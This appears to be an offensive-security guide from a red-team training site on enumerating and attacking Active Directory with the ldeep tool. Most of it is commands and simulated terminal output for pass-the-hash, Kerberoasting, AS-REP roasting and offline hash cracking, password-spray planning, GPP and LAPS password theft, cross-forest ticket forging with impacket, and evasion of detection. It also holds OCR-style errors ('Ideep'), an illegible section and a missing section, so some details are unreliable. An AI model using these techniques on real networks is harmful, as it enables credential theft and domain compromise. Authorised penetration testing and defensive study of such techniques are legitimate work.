



◆ OFFENSIVE SECURITY SERIES ◆

ACTIVE DIRECTORY ENUMERATION

Ideep — Complete Attacker Reference

Users · Groups · SPNs · AS-REP · GPOs · Trusts · ACLs · Cache Mode

LDAP

Kerberos

SPNs

AS-REP

GPO

Trusts

Cache

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

**■ LEGAL DISCLAIMER**

This guide is produced by RedTeamGarage (RTG) strictly for educational purposes. All techniques must only be used on systems you own or have explicit written authorization to test. Unauthorized access is illegal. RTG assumes no liability.

**TABLE OF CONTENTS**

Active Directory Enumeration with Ldeep — Full Attacker Reference

- 01. INTRODUCTION TO AD ENUMERATION**
- 02. WHAT IS LDEEP? — ARCHITECTURE & ADVANTAGES**
- 03. INSTALLATION & ENVIRONMENT SETUP**
- 04. AUTHENTICATION METHODS — PASSWORD, PTH, KERBEROS**
- 05. USER ENUMERATION — MAPPING THE HUMAN ATTACK SURFACE**
- 06. GROUP ENUMERATION — PRIVILEGE PATH DISCOVERY**
- 07. COMPUTER & DOMAIN CONTROLLER DISCOVERY**
- 08. SPN ENUMERATION & KERBEROASTING**
- 09. AS-REP ROASTING — ZERO CREDENTIAL ATTACK**
- 10. PASSWORD POLICY — PRE-SPRAY INTELLIGENCE**
- 11. GPO ENUMERATION — CONFIGURATION WEAKNESSES**
- 12. TRUST RELATIONSHIP ENUMERATION**
- 13. ACL & DELEGATION ENUMERATION**
- 14. LAPS DISCOVERY — LOCAL ADMIN PASSWORDS**
- 15. FULL DOMAIN DUMP — THE NUCLEAR OPTION**
- 16. CACHE MODE — OFFLINE ANALYSIS**
- 17. COMBINING LDEEP WITH BLOODHOUND**
- 18. RTG AUTOMATION SCRIPT**
- 19. DETECTION & EVASION**
- 20. QUICK REFERENCE CHEAT SHEET**

01 — INTRODUCTION TO AD ENUMERATION

The Foundation of Every AD Attack

Active Directory (AD) is the backbone of authentication and authorization in virtually every enterprise Windows environment. Before any lateral movement, privilege escalation, or credential attack can happen, an attacker must first systematically understand the structure of the environment — who the users are, what groups they belong to, which machines exist, what services run, and where the weakest links are located.

AD enumeration is the process of querying the LDAP (Lightweight Directory Access Protocol) interface of a Domain Controller to extract this structural intelligence. Everything in AD — users, computers, groups, GPOs, OUs, trusts — is an LDAP object. Crucially, a single low-privileged domain user account is sufficient to enumerate the entire directory.

The AD Attack Lifecycle — Enumeration is Step Zero

- ◆ Obtain initial foothold (phishing, exposed service, credential stuffing)
- ◆ Enumerate AD — map users, groups, SPNs, policies, delegation, trusts
- ◆ Identify attack paths — Kerberoast, AS-REP, delegation abuse, ACL abuse
- ◆ Escalate privileges — pivot toward Domain Admin
- ◆ Achieve Domain Admin — DCSync / NTDS.dit dump / Golden Ticket

MITRE ATT&CK Mapping

Technique ID	Name	Ideep Command
T1087.002	Account Discovery: Domain Account	users, admins
T1069.002	Permission Groups Discovery	groups, memberships
T1018	Remote System Discovery	computers, subnets
T1558.003	Steal Kerberos Tickets: Kerberoast	spns, kerberoast
T1558.004	Steal Kerberos Tickets: AS-REP Roast	asreqroast
T1615	Group Policy Discovery	gpos
T1482	Domain Trust Discovery	trusts
T1201	Password Policy Discovery	ppol, pso



02 — WHAT IS LDEEP?

Python LDAP Enumeration Framework

Ideep is a Python-based LDAP enumeration framework built for Active Directory. Unlike GUI tools, Ideep is command-line driven, fully scriptable, and uniquely features a cache system that allows a full domain dump to be taken once and queried repeatedly offline — with zero additional DC contact. Created by franc-pentest and actively maintained on GitHub.

Feature	Details
Protocol Support	LDAP (389), LDAPS (636), LDAP+STARTTLS
Authentication	Username/password, NTLM hash (Pth), Kerberos ticket
Output Formats	JSON (full), human-readable, raw LDAP attributes
Cache System	Full offline domain analysis from saved JSON dump
Kerberoasting	Built-in TGS ticket request and hash extraction
AS-REP Roasting	Built-in no-preauth enumeration and hash extraction
Platform	Linux, Windows, macOS (Python 3.6+)
Source	github.com/franc-pentest/lddeep

Ideep vs Other Enumeration Tools

Tool	Protocol	Offline Cache	EDR Risk	Best Use Case
Ideep	LDAP/LDAPS	Full JSON	Low	Targeted recon + offline analysis
Idapdomaindump	LDAP	Partial	Low	Quick HTML report generation
BloodHound-python	LDAP+SMB	Neo4j graph	High	Attack path visualization
PowerView	LDAP+SMB	None	Very High	Windows-based enumeration
Idapsearch	LDAP	None	Low	Manual raw LDAP queries

RTG NOTE

Ideep is ideal when SharpHound/BloodHound would be flagged by EDR.
Its cache mode is completely silent after the initial dump — zero network traffic.
Built-in Kerberoast and AS-REP functionality eliminates need for additional tools.



03 — INSTALLATION & ENVIRONMENT SETUP

Getting ldeep Operational

Method 1: pip (Recommended)

\$ pip Installation

```
# Install via pip
pip install ldeep

# Verify installation
ldeep --help

# Upgrade to latest version
pip install --upgrade ldeep

# Virtual environment (clean install)
python3 -m venv ldeep_venv
source ldeep_venv/bin/activate
pip install ldeep
```

Method 2: From Source (GitHub)

\$ Source Installation

```
git clone https://github.com/franc-pentest/ldeep.git
cd ldeep
pip install -r requirements.txt
pip install .

# Run without installing
python3 -m ldeep --help
```

```
root@kali: ~ — ldeep Installation

(root@kali)-[~]
# pip install ldeep
Collecting ldeep
  Downloading ldeep-1.0.56-py3-none-any.whl (92 kB)
Installing collected packages: ldap3, dnspython, pycryptodomex, ldeep
[+] Successfully installed ldeep-1.0.56

(root@kali)-[~]
# ldeep --help
usage: ldeep [-h] {ldap,cache} ...

positional arguments:
  ldap    - Live LDAP/LDAPS queries against a Domain Controller
  cache   - Offline analysis from a previously saved domain dump

optional arguments:
  -h, --help    show this help message and exit

(root@kali)-[~]
# _
```

Figure: ldeep installation via pip — clean output on Kali Linux

RTG NOTE

Dependencies auto-installed: ldap3, dnspython, pycryptodomex, impacket.

On Kali Linux, impacket is pre-installed. Only ldeep itself typically needs installation.

Verify with: `python3 -c "import ldeep; print('ldeep OK')"`



04 — AUTHENTICATION METHODS

Password · Pass-the-Hash · Kerberos

Ldeep supports three authentication mechanisms, making it usable at every stage of an engagement — from initial low-privilege domain access through post-exploitation with stolen hashes or Kerberos tickets.

Username + Password

\$ Password Auth

```
# Standard LDAP authentication
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 users

# LDAPS (port 636, encrypted)
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 --tls users

# Full UPN format
ldeep ldap -u 'jsmith@corp.local' -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 users
```

Pass-the-Hash (NTLM)

\$ Pass-the-Hash

```
# Full NTLM hash (LM:NT format)
ldeep ldap -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe06' \
-d CORP.LOCAL -s 192.168.10.5 users

# NT hash only (LM portion can be empty placeholder)
ldeep ldap -u DA_jones -H ':fc525c9683e8fe067095ba2ddc971889' \
-d CORP.LOCAL -s 192.168.10.5 admins
```

Kerberos Ticket

\$ Kerberos Auth

```
# Set credential cache (from impacket, Rubeus .kirbi converted, etc.)
export KRB5CCNAME=/tmp/DA_jones.ccache

# Authenticate with ticket — no password needed
ldeep ldap -u DA_jones -k -d CORP.LOCAL -s dc01.corp.local all --save

# Convert .kirbi (Windows) to .ccache (Linux) with impacket
impacket-ticketConverter DA_jones.kirbi DA_jones.ccache
```



RTG TIP

Always specify -s <DC_IP> directly — DNS-based discovery is unreliable.

Use --tls for LDAPS on environments enforcing channel binding (hardened DCs).

Kerberos auth (-k) is stealthiest — fewer NTLM-related event log entries.

PtH format: LM portion can be aad3b435b51404eeaad3b435b51404ee (standard empty).



05 — USER ENUMERATION

Mapping the Human Attack Surface

User enumeration reveals the full AD account landscape. Ldeep returns detailed attributes that feed directly into attack decisions: AdminCount flag, SPN presence, no-preauth status, bad password count, and last password set date.

\$ User Enumeration

```
# All domain users
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 users

# Full JSON output with all attributes
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 users -j

# Only privileged accounts (AdminCount=1)
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 admins

# AS-REP roastable accounts (no pre-auth required)
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 asreqroast

# Kerberoastable accounts (SPN set)
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 spns

# Locked out accounts
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 locked

# Custom LDAP filter – all svc_ accounts
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 users \
  --filter '(sAMAccountName=svc_*)'
```

```
root@kali: ~ — ldeep User Enumeration

(root@kali)-[~]
# ldeep ldap -u jsmith -p 'Welcome!' -d CORP.LOCAL -s 192.168.10.5 users

[*] Connecting to ldap://192.168.10.5:389
[+] Authenticated as: CORP\jsmith
[*] Enumerating domain users...

Administrator      RID:500  Enabled  PwdLastSet:2024-01-12
krbtgt              RID:502  DISABLED
jsmith              RID:1103 Enabled  PwdLastSet:2024-06-01
svc_mssql           RID:1110 Enabled  [SPN SET] PwdLastSet:2019-11-02
svc_backup          RID:1111 Enabled  [SPN SET] PwdLastSet:2020-07-01
svc_legacy          RID:1112 Enabled  [NO PREAUTH]
DA_jones            RID:1150 Enabled  [AdminCount=1]
svc_deploy          RID:1155 Enabled  [AdminCount=1] [SPN SET]

[+] 247 users enumerated. Saved: ldeep_users.json

(root@kali)-[~]
# _
```

Figure: ldeep user enumeration — SPN, AdminCount and no-preauth flags clearly marked

RTG TIP — High-Value User Flags

AdminCount=1 → was/is in privileged group. Prime lateral movement target.

DONT_REQ_PREAUTH → AS-REP roastable. Zero credentials needed for attack.

servicePrincipalName set → Kerberoastable. Request TGS, crack offline.

PasswordLastSet > 1 year → stale password, likely weak. Prioritize in sprays.

PASSWD_NOTREQD flag → blank password may be accepted. Test immediately.

06 — GROUP ENUMERATION

Discovering Privilege Escalation Paths

Group membership is how privileges are granted in AD. Group nesting reveals escalation paths invisible at the user level: a user in GroupA, where GroupA is nested in IT-Admins, which is nested in Domain Admins — that user IS a Domain Admin. Ldeep exposes all of this.

\$ Group Enumeration

```
# All domain groups
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 groups

# Members of a specific group
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 memberships \
--group 'Domain Admins'

# All groups a user belongs to
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 memberships \
--user 'svc_backup'

# Recursive nested group membership
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 members \
--group 'Enterprise Admins' --recursive
```

```
root@kali: ~ — Group Enumeration & DA Members

(root@kali)-[~]
# ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 groups

[+] Domain Admins      RID:512  Members:3
[+] Enterprise Admins  RID:519  Members:1
IT-Admins              RID:1200 Members:12 [Custom]
Backup-Operators       RID:551  Members:3  [Can read NTDS via VSS!]

(root@kali)-[~]
# ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 memberships --group 'Domain Admins'

[*] Members of 'Domain Admins':
Administrator (Built-in)
DA_jones      CORP\DA_jones  - WS: WS-IT01
svc_deploy    [!! SERVICE ACCOUNT IN DA GROUP !!]

[!] svc_deploy in Domain Admins → HIGH VALUE TARGET

(root@kali)-[~]
# _
```

Figure: DA group membership — service account svc_deploy found in Domain Admins!



RTG WARN

Backup Operators members can read NTDS.dit via VSS — full domain compromise.
Always enumerate recursively — one nested hop can mean Domain Admin.
Service accounts in privileged groups are often overlooked in defensive reviews.

07 — COMPUTER & DOMAIN CONTROLLER DISCOVERY

Mapping Infrastructure

\$ Computer Discovery

```
# All computers
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 computers

# Domain Controllers only
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 computers \
--filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)'

# Unconstrained delegation (TGT theft target - HIGH VALUE)
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 computers \
--filter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'

# Constrained delegation targets
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 computers \
--filter '(msDS-AllowedToDelegateTo=*)'

# RBCD (Resource-Based Constrained Delegation)
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 computers \
--filter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)'

# Network subnets registered in AD
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 subnets
```

```
root@kali: ~ — Computers, Trusts & Full Domain Dump

(root@kali)-[~]
# ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 computers

[+] 63 computers found:
DC01.CORP.LOCAL OS: Server 2022 Role: DomainController
DC02.CORP.LOCAL OS: Server 2019 Role: DomainController
SRV-DB01.CORP.LOCAL OS: Server 2019 [UNCONSTRAINED DELEGATION!]
WS-HR01.CORP.LOCAL OS: Windows 10 21H2
SRV-FILE01.CORP.LOCAL OS: Server 2019

(root@kali)-[~]
# ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 trusts

SUBSIDIARY.LOCAL ↔ CORP.LOCAL [Bidirectional] [Forest Trust]
PARTNER.COM → CORP.LOCAL [Inbound Only] [External]

(root@kali)-[~]
# ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 all --save
[+] Full dump saved → ldeep_CORP.LOCAL_20241201_1430/
[*] Offline: ldeep cache -d CORP.LOCAL -p ./ldeep_CORP.LOCAL_20241201_1430/ users

(root@kali)-[~]
# _
```

Figure: Computer enum — unconstrained delegation on SRV-DB01, trusts mapped, full dump taken

**RTG TIP**

Unconstrained delegation: compromise it, force DC auth via SpoolSample → steal DC TGT.

DCs are always primary targets — NTDS.dit, DCSync, Golden/Diamond Ticket.

OS breakdown from computers.json: `jq '[] | .operatingSystem' | sort | uniq -c`

08 — SPN ENUMERATION & KERBEROASTING

T1558.003 — Crackable Service Tickets

Any account with a Service Principal Name (SPN) is Kerberoastable — any authenticated domain user can request a TGS (service ticket) for that account, extract the RC4 or AES-encrypted portion, and crack it offline to obtain the plaintext service account password.

\$ Kerberoasting

```
# Enumerate Kerberoastable accounts
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 spns

# Request TGS tickets + save hashes directly
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 kerberoast \
  --output kerb_hashes.txt

# Crack RC4 tickets (etype 23 - faster)
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerb_hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Crack AES tickets (etype 17/18 - slower)
hashcat -m 19600 kerb_hashes.txt rockyou.txt # AES-128
hashcat -m 19700 kerb_hashes.txt rockyou.txt # AES-256

# John the Ripper
john --format=krb5tgs kerb_hashes.txt --wordlist=rockyou.txt
```

```
root@kali: ~ — SPN Enumeration & Kerberoasting

(root@kali)-[~]
# ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 spns

[*] Searching for accounts with SPNs (Kerberoastable)...
[+] 4 Kerberoastable accounts found:

svc_mssql  MSSQLSvc/db01.corp.local:1433  PwdSet:2019-11-02 * HIGH
svc_mssql  MSSQLSvc/db01.corp.local
svc_iis    HTTP/web01.corp.local          PwdSet:2021-03-18
svc_backup BackupSvc/bkp01.corp.local     PwdSet:2020-07-01 * HIGH

[*] Requesting TGS tickets...
(LDAP) $krb5tgs$23*svc_backup$CORP.LOCAL$BackupSvc/bkp01*$1a2b3c4d5e6f7a8b...
(LDAP) $krb5tgs$23*svc_mssql$CORP.LOCAL$MSSQLSvc/db01:1433*$9c0d1e2f3a4b5c...

[+] Hashes saved to kerb_hashes.txt
[*] Crack with: hashcat -m 13100 kerb_hashes.txt rockyou.txt

(root@kali)-[~]
# _
```

Figure: ldeep SPN enumeration — stale PwdLastSet dates flagged, TGS tickets requested

**RTG TIP — Prioritisation**

PasswordLastSet > 2 years = stale password = highest crack probability. Attack first.

RC4 tickets crack ~10x faster than AES256. Check etype before starting hashcat.

MSSQLSvc, HTTP, BackupSvc are most common — and often configured with weak passwords.

09 — AS-REP ROASTING

T1558.004 — Zero Credential Attack

AS-REP Roasting targets accounts where Kerberos pre-authentication is disabled (DONT_REQ_PREAUTH flag). Without pre-auth, any entity can request an AS-REP for these accounts and receive an encrypted blob that can be cracked offline — no credentials required at all.

\$ AS-REP Roasting

```
# AS-REP roast with low-priv credentials
ldeep ldap -u jsmith -p 'Welcome!' -d CORP.LOCAL -s 192.168.10.5 asreqroast \
--output asrep_hashes.txt

# Attempt without credentials (null session — misconfigured DCs)
ldeep ldap -u '' -p '' -d CORP.LOCAL -s 192.168.10.5 asreqroast

# Crack with hashcat (mode 18200)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep_hashes.txt rockyou.txt -r rules/best64.rule

# John the Ripper
john --format=krb5asrep asrep_hashes.txt --wordlist=rockyou.txt
```

```
root@kali: ~ — Password Policy + AS-REP Roasting

(root@kali)-[~]
# ldeep ldap -u jsmith -p 'Welcome!' -d CORP.LOCAL -s 192.168.10.5 ppol

[*] Default Domain Password Policy:
  Minimum password length      : 8
  Account lockout threshold    : 5 attempts ← SPRAY LIMIT: 3 MAX
  Lockout observation window   : 30 minutes
  Max password age             : 90 days
  Min password age             : 1 day
  Password complexity          : Enabled
  Password history              : 24

(root@kali)-[~]
# ldeep ldap -u jsmith -p 'Welcome!' -d CORP.LOCAL -s 192.168.10.5 asreqroast

[*] Searching for DONT_REQ_PREAUTH accounts...
[+] 2 AS-REP roastable accounts:
  svc_legacy $krb5asrep$23$svc_legacy@CORP.LOCAL:3a1b2c...
  legacy_svc $krb5asrep$23$legacy_svc@CORP.LOCAL:9f8e7d...
[+] Crack: hashcat -m 18200 asrep.txt rockyou.txt

(root@kali)-[~]
# _
```

Figure: Password policy + AS-REP extraction — 2 roastable accounts, hashes ready

**RTG TIP**

Check for null sessions first — some misconfigured DCs allow unauthenticated AS-REP.

AS-REP format: \$krb5asrep\$23\$ (RC4) — hashcat mode 18200.

Common mis-config: service accounts with DONT_REQ_PREAUTH set for 'legacy compatibility'.



10 — PASSWORD POLICY DISCOVERY

Pre-Spray Intelligence — Avoid Lockouts

Understanding the password policy before any spray is critical — spray too aggressively and you lock out every account in the domain. Ldeep retrieves both the default policy and Fine-Grained PSOs that may apply stricter limits to specific accounts.

\$ Password Policy

```
# Default domain password policy
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 ppol

# Fine-Grained Password Policies (PSOs)
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 pso

# PSO for a specific user
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 pso \
--user 'svc_mssql'
```

Policy Setting	Typical Value	Attack Implication
Min Password Length	8 chars	Password spray: try 8+ char passwords
Lockout Threshold	5 attempts	Spray max: threshold-2 per window
Observation Window	30 minutes	Wait window duration between spray rounds
Max Password Age	90 days	Old PwdLastSet = stale password candidate
Complexity Required	Enabled	Common patterns: Season+Year, Company+Number

RTG WARN — Spray Safety Rules

ALWAYS retrieve password policy BEFORE any spray. Lockout kills all accounts.

Spray at most (threshold-2) attempts per account per observation window.

Wait observation_window + 5 minutes between rounds to guarantee reset.

PSOs may apply stricter limits to DA accounts — always check pso as well.

11 — GPO ENUMERATION

Configuration Weaknesses & Abuse Paths

\$ GPO Enumeration

```
# Enumerate all GPOs
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 gpos

# GPOs with OU links
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 gpos --links

# OU structure
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 ou

# SYSVOL GPP credential hunt (MS14-025 — cpassword in XML)
smbclient //192.168.10.5/SYSVOL -U 'CORP.LOCAL\jsmith%Welcome1!' -c 'ls'
find /tmp/sysvol -name '*.xml' | xargs grep -l 'cpassword' 2>/dev/null
gpp-decrypt <cpassword_value>

# GPO abuse: if you have write access to a GPO linked to Domain Controllers OU
# → immediate code execution on all DCs via PowerView/SharpGPOAbuse
```

RTG NOTE

GPP cpassword (MS14-025) is still found in production — check SYSVOL every time.

Defender-disabled GPO: note which OUs it applies to — stealth advantage for you.

Writable GPO linked to DC OU = immediate code exec on every Domain Controller.



12 — TRUST RELATIONSHIP ENUMERATION

Cross-Forest & Cross-Domain Attacks

\$ Trust Enumeration

```
# Enumerate domain trusts
ldeep ldap -u jsmith -p 'Welcome!!' -d CORP.LOCAL -s 192.168.10.5 trusts

# Trust direction reference:
#   Bidirectional  - both domains trust each other
#   Inbound       - they trust us (we can auth to them)
#   Outbound      - we trust them (they can auth to us)
#   Forest Trust  - all domains in both forests trust each other

# Cross-forest ExtraSIDs attack (no SID filtering = forest compromise):
# Forge inter-realm TGT with Enterprise Admin SID from target forest
impacket-ticketer -nthash <krbtgt_hash> -domain-sid <CORP_SID> \
  -extra-sid <SUBSIDIARY_EA_SID> -domain CORP.LOCAL Administrator

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass Administrator@dc01.subsidiary.local
```

RTG NOTE

Bidirectional Forest Trust with no SID filtering = cross-forest privilege escalation.

Always map trusts early — a weaker trusted domain may be the fastest DA path.

SID filtering check: trustedAttributes = 0x4 means SID filtering IS enabled.

13 — ACL & DELEGATION ENUMERATION

Abusable Object Permissions

ACLs on AD objects can grant dangerous rights to low-privileged users. These misconfigured permissions are often invisible in standard enumeration but provide escalation paths as impactful as direct group membership.

\$ ACL & Delegation

```
# Unconstrained delegation computers
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 computers \
--filter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'

# Constrained delegation (user accounts)
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 users \
--filter '(msDS-AllowedToDelegateTo=*)'

# RBCD-configured machines
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 computers \
--filter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)'

# Full DACL dump with impacket dacledit
python3 dacledit.py -action read -target-dn 'DC=CORP,DC=LOCAL' \
CORP.LOCAL/jsmith:'Welcome1!'
```

ACL Right	What It Allows	Attack Path
GenericAll	Full object control	Change password, add to groups, SPN spray
WriteDACL	Modify ACL	Grant yourself GenericAll → full control
GenericWrite	Modify most attributes	Set logonScript, modify SPN for Kerberoast
WriteOwner	Take object ownership	Become owner → modify ACL freely
ForceChangePassword	Change password without knowing current	Immediate account takeover
AllExtendedRights	Includes DS-Replication	DCSync — dump all domain hashes

14 — LAPS DISCOVERY

Local Administrator Password Enumeration

LAPS (Local Administrator Password Solution) rotates local Administrator passwords and stores them as AD attributes. If non-privileged users or groups have read access to ms-Mcs-AdmPwd, you gain instant local admin on every managed machine — one misconfigured ACL, full infrastructure access.

\$ LAPS Discovery

```
# Check if LAPS is deployed – filter for machines with LAPS attribute
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 computers \
--filter '(ms-Mcs-AdmPwd=*)' -j

# If readable as current user – dump all passwords
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 computers \
--filter '(ms-Mcs-AdmPwd=*)' -j \
| python3 -c "import json,sys; [print(c['cn'], '→', c.get('ms-Mcs-AdmPwd', 'N/A')) for c in json.load(sys.stdin)]"

# Windows LAPS v2 (2023+ – msLAPS-Password attribute)
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 computers \
--filter '(msLAPS-Password=*)'
```

RTG NOTE

LAPS readable by non-admins = instant local admin on ALL managed machines.

Windows LAPS (2023+): msLAPS-Password is encrypted — requires DA or specific rights.

Use nxc laps module for a cleaner LAPS read: `nxc ldap DC -u user -p pass --laps`

15 — FULL DOMAIN DUMP & CACHE MODE

Dump Once — Query Forever

The Ideep cache system is its most operationally powerful feature. The 'all' command performs a comprehensive enumeration of every AD object type and saves results as JSON. Every subsequent query runs against this local cache — no further DC contact, completely silent.

\$ Full Dump + Cache Mode

[illegible]

RTG OPSEC

Full 'all' dump = 50-300+ LDAP queries depending on domain size. This IS noisy.

Use targeted queries in high-alert environments instead.

After initial dump: switch entirely to cache — zero additional network traffic.

Exfil the dump directory to your attack box for offline analysis anywhere.



17 — COMBINING LDEEP WITH BLOODHOUND

Maximum AD Visibility

Ideep and BloodHound are complementary tools. Ideep provides targeted, scriptable, low-noise LDAP enumeration. BloodHound visualizes attack paths through graph relationships. The RTG-recommended workflow: Ideep first for rapid targeted recon, BloodHound for comprehensive attack path mapping.

\$ Ideep + BloodHound Workflow

```
# Step 1: ldeep rapid targeted recon

ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 ppol
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 spns
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 asreqroast
ldeep ldap -u jsmith -p 'Welcome1!' -d CORP.LOCAL -s 192.168.10.5 admins

# Step 2: BloodHound collection

bloodhound-python -u jsmith -p 'Welcome1!' -d CORP.LOCAL -ns 192.168.10.5 -c All

# Or via nxc

nxc ldap 192.168.10.5 -u jsmith -p 'Welcome1!' --bloodhound -c All

# Step 3: BloodHound Cypher queries

# Shortest path to DA:
# MATCH p=shortestPath((u:User{name:'JSMITH@CORP.LOCAL'})-[*1..]->(g:Group{name:'DOMAIN ADMINS@CORP.LOCAL'})) RETURN p

# DCSync rights:
# MATCH (u)-[:DCSync|AllExtendedRights|GenericAll]->(:Domain) RETURN u.name

# Kerberoastable path to DA:
# MATCH p=shortestPath((u:User{hasspn:true})-[*1..]->(g:Group{name:'DOMAIN ADMINS@CORP.LOCAL'})) RETURN p
```

18 — RTG AUTOMATION SCRIPT

ldeep as a Full Recon Engine

```
$ rtg_ldeep_recon.sh
```

```
#!/bin/bash
# RTG ldeep Full AD Recon Script
# Usage: ./rtg_ldeep_recon.sh <DC_IP> <DOMAIN> <USER> <PASS>
DC=$1; DOMAIN=$2; USER=$3; PASS=$4
BASE="ldeep ldap -u $USER -p '$PASS' -d $DOMAIN -s $DC"
OUT="./ldeep_$(echo $DOMAIN | tr '.' '_')$(date +%Y%m%d_%H%M)"
mkdir -p $OUT
echo '[*] RTG ldeep Full AD Recon | Target:' $DC '|' $DOMAIN
echo ''
echo '[*] Password Policy (MUST READ BEFORE SPRAYING)'
$BASE ppol | tee $OUT/01_ppol.txt
echo '[*] All Users'
$BASE users | tee $OUT/02_users.txt
echo '[*] Privileged Users (AdminCount=1)'
$BASE admins | tee $OUT/03_admins.txt
echo '[*] Kerberoastable (SPNs)'
$BASE spns | tee $OUT/04_spns.txt
echo '[*] AS-REP Roastable (extracting hashes)'
$BASE asreproast --output $OUT/05_asrep_hashes.txt
echo '[*] All Groups'
$BASE groups | tee $OUT/06_groups.txt
echo '[*] Domain Admins Members'
$BASE memberships --group 'Domain Admins' | tee $OUT/07_da_members.txt
echo '[*] Computers'
$BASE computers | tee $OUT/08_computers.txt
echo '[*] GPOs'
$BASE gpos | tee $OUT/09_gpos.txt
echo '[*] Domain Trusts'
$BASE trusts | tee $OUT/10_trusts.txt
echo ''
echo '[+] Recon complete! Results:' $OUT
ls -la $OUT
```



19 — DETECTION & EVASION

Blue Team View & Red Team Countermeasures

Event / Indicator	Source	What It Signals	Priority
High-volume LDAP queries	Network / 4662	Automated tool enumeration	HIGH
Anonymous LDAP bind	Network capture	Null session enumeration attempt	HIGH
AS-REQ without preauth	Event 4768	AS-REP roasting in progress	HIGH
TGS for service account	Event 4769	Kerberoasting ticket request	MEDIUM
Unusual workstation LDAP	Event 4624 T3	Lateral recon source	MEDIUM
Burst LDAP queries	Net flow	Ideep 'all' dump in progress	HIGH

Evasion Techniques

- ◆ Use targeted queries rather than 'all' — reduces LDAP query volume.
- ◆ Add sleep between commands: BASE; sleep 3; BASE — less burst-query detection.
- ◆ Use --tls (LDAPS port 636) — encrypts traffic from network inspection.
- ◆ Prefer Kerberos auth (-k) — fewer NTLM event log entries generated.
- ◆ Run from IT workstation or jump box expected to generate LDAP traffic.
- ◆ After initial dump, switch entirely to cache mode — zero network traffic.



20 — QUICK REFERENCE CHEAT SHEET

Ideep Field Operations Reference

Install	<code>pip install Ideep</code>
Users	<code>Ideep ldap -u USER -p PASS -d DOM -s DC users</code>
Admins (AdminCount=1)	<code>Ideep ldap -u USER -p PASS -d DOM -s DC admins</code>
All Groups	<code>Ideep ldap -u USER -p PASS -d DOM -s DC groups</code>
Group Members	<code>Ideep ldap ... memberships --group 'Domain Admins'</code>
User's Groups	<code>Ideep ldap ... memberships --user svc_backup</code>
Computers	<code>Ideep ldap -u USER -p PASS -d DOM -s DC computers</code>
Domain Controllers	<code>Ideep ldap ... computers --filter '(uAC:....:=8192)'</code>
